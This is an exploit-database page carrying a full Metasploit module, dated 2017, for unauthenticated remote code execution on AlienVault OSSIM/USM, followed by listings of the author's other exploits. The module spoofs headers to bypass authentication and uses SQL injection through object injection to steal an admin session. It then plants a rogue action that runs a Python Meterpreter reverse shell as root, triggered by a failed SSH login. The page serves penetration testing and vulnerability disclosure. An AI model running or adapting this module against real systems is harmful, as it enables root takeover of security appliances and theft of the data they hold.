Menu

Search for hundreds of thousands of exploits

"AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)"

Author

Exploit author

"Mehmet Ince"

Platform

Exploit platform

php

Release date

Exploit published date

2017-01-31

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AlienVault OSSIM/USM Remote Code Execution",
      'Description'    => %q{
        This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
        Unauthenticated users can execute arbitrary commands under the context of the root user.

        By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
        which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
        action and policy that enables to execute operating system commands by using captured session token. As a final step,
        SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
        operating system command with root user privileges.

        This module was tested against following product and versions:
        AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
        AlienVault OSSIM 5.0.0, 4.6.1
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Peter Lapp', # EDB advisory owner
          'Mehmet Ince <mehmet@mehmetince.net>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
          ['EDB', '40682']
        ],
      'DefaultOptions'  =>
        {
          'SSL'      => true,
          'WfsDelay' => 10,
          'Payload'  => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        =>
        [
          ['Alienvault USM/OSSIM <= 5.3.0', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Jan 31 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
      ], self.class)
  end


  def check
    r = rand_text_alpha(15)
    p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
      'headers' => {
        'User-Agent' => 'AV Report Scheduler',
      },
      'vars_get' => {
        'type' => 'alarm',
        'wtype' => 'foo',
        'asset' => 'ALL_ASSETS',
        'height' => 1,
        'value' => p
      }
    })

    if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end

  end


  def exploit
    # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
    print_status("Hijacking administrator session")

    sql = "SELECT id FROM sessions LIMIT 1"
    p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
        'User-Agent' => 'AV Report Scheduler',
      },
      'vars_get' => {
        'type' => 'alarm',
        'wtype' => 'foo',
        'asset' => 'ALL_ASSETS',
        'height' => 1,
        'value' => p
      }
    })
    if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
      admin_session = $1
      cookie = "PHPSESSID=#{admin_session}"
      print_good("Admin session token : #{cookie}")
    else
      fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
    end

    # Creating a Action that contains payload.
    print_status("Creating rogue action")
    r = rand_text_alpha(15)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
        'vars_post' => {
          'id' => '',
          'action' => 'new',
          'old_name' => '',
          'action_name' => r,
          'ctx' => '',
          'old_descr' => '',
          'descr' => r,
          'action_type' => '2',
          'only' => 'on',
          'cond' => 'True',
          'email_from' => '',
          'email_to' => 'email;email;email',
          'email_subject' => '',
          'email_message' => '',
          'transferred_user' => '',
          'transferred_entity' => '',
          'exec_command' => "python -c \"#{payload.encoded}\""
      }
    })

    if res && res.code == 200 && res.body.include?("Action successfully updated")
      print_good("Action created: #{r}")
    else
      fail_with(Failure::Unknown, "Unable to create action")
    end

    # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
    # Thus we're using hijacked administrator session.
    print_status("Retrieving rogue action id")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
      'vars_get' => {
        'page' => '1',
        'rp'   => '2000'
      }
    })

    if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
      action_id = $1
      print_good("Corresponding Action ID found: #{action_id}")
    else
      fail_with(Failure::Unknown, "Unable to retrieve action id")
    end

    # Retrieving the policy data. We will use it while creating policy
    print_status("Retrieving policy ctx and group values")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
      'vars_get' => {
        'm_opt' => 'configuration',
        'sm_opt' => 'threat_intelligence',
        'h_opt' => 'policy'
      }
    })

    if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
      policy_ctx = $1
      policy_group = $2
      print_good("CTX Value found: #{policy_ctx}")
      print_good("GROUP Value found: #{policy_group}")
    else
      fail_with(Failure::Unknown, "Unable to retrieve policy data")
    end

    # Creating policy that will be trigerred when SSH authentication failed due to wrong password.
    print_status("Creating a policy that uses our rogue action")
    policy = rand_text_alpha(15)

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
      'vars_post' => {
        'descr' => policy,
        'active' => '1',
        'group' => policy_group,
        'ctx' => policy_ctx,
        'order' => '1',
        'action' => 'new',
        'sources[]' => '00000000000000000000000000000000',
        'dests[]' => '00000000000000000000000000000000',
        'portsrc[]' => '0',
        'portdst[]' => '0',
        'plug_type' => '1',
        'plugins[0]' => 'on',
        'taxfilters[]' =>'25@2@0',
        'tax_pt' => '0',
        'tax_cat' => '0',
        'tax_subc' => '0',
        'mboxs[]' => '00000000000000000000000000000000',
        'rep_act' => '0',
        'rep_sev' => '1',
        'rep_rel' => '1',
        'rep_dir' => '0',
        'ev_sev' => '1',
        'ev_rel' => '1',
        'tzone' => 'Europe/Istanbul',
        'date_type' => '1',
        'begin_hour' => '0',
        'begin_minute' => '0',
        'begin_day_week' => '1',
        'begin_day_month' => '1',
        'begin_month' => '1',
        'end_hour' => '23',
        'end_minute' => '59',
        'end_day_week' => '7',
        'end_day_month' => '31',
        'end_month' => '12',
        'actions[]' => action_id,
        'sim' => '1',
        'priority' => '1',
        'qualify' => '1',
        'correlate' => '0',
        'cross_correlate' => '0',
        'store' => '0'
        }
      })

    if res && res.code == 200
      print_good("Policy created: #{policy}")
    else
      fail_with(Failure::Unknown, "Unable to create policy id")
    end

    # We gotta reload all policies in order to make our rogue one enabled.
    print_status("Activating the policy")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
      'vars_get' => {
      'what' => 'policies',
        'back' => '../policy/policy.php'
      }
    })

    if res && res.code == 200
      print_good("Rogue policy activated")
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
    end

    # We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password'],
      port: 22,
      use_agent: false,
      config: false,
      password: rand_text_alpha(15),
      proxy: factory,
      non_interactive: true
    }

    print_status("Triggering the policy by performing SSH login attempt")

    begin
      Net::SSH.start(rhost, "root", opts)
    rescue Net::SSH::AuthenticationFailed
      print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
    rescue Net::SSH::Exception => e
      print_error("SSH Error: #{e.class} : #{e.message}")
      return nil
    end

  end
end
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-07-14 "Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2020-04-06 "Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2019-01-07 "Mailcleaner - Authenticated Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2018-07-24 "Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2018-06-26 "Liferay Portal < 7.0.4 - Server-Side Request Forgery" webapps java "Mehmet Ince"
2018-03-12 "ManageEngine Applications Manager 13.5 - Remote Code Execution (Metasploit)" webapps java "Mehmet Ince"
2018-01-04 "Xplico - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-10-11 "Trend Micro OfficeScan 11.0/XG (12.0) - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-10-11 "Trend Micro InterScan Messaging Security (Virtual Appliance) - 'Proxy.php' Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-09-19 "DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)" webapps linux "Mehmet Ince"
2017-09-12 "osTicket 1.10 - SQL Injection (PoC)" webapps php "Mehmet Ince"
2017-06-26 "Symantec Messaging Gateway 10.6.2-7 - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-05-09 "Crypttech CryptoLog - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-03-24 "Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)" remote python "Mehmet Ince"
2017-03-17 "SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-01-31 "AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-01-15 "Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2017-01-08 "ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities" webapps java "Mehmet Ince"
2016-09-21 "Kaltura 11.1.0-2 - Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-25 "Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)" webapps php "Mehmet Ince"
2016-07-20 "Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-11 "Tiki Wiki 15.1 - File Upload (Metasploit)" remote php "Mehmet Ince"
2016-06-27 "BigTree CMS 4.2.11 - SQL Injection" webapps php "Mehmet Ince"
2016-06-15 "BookingWizz Booking System < 5.5 - Multiple Vulnerabilities" webapps php "Mehmet Ince"
2016-05-24 "AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XML External Entity Injection" webapps asp "Mehmet Ince"
2014-04-24 "Bonefire 0.7.1 - Reinstall Admin Account" webapps php "Mehmet Ince"
2014-04-22 "No-CMS 0.6.6 rev 1 - Admin Account Hijacking / Remote Code Execution via Static Encryption Key" webapps php "Mehmet Ince"
2012-05-01 "WordPress Plugin Zingiri Web Shop 2.4.2 - Persistent Cross-Site Scripting" webapps php "Mehmet Ince"
2012-04-27 "SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection" webapps php "Mehmet Ince"
2012-04-26 "WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Mehmet Ince"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.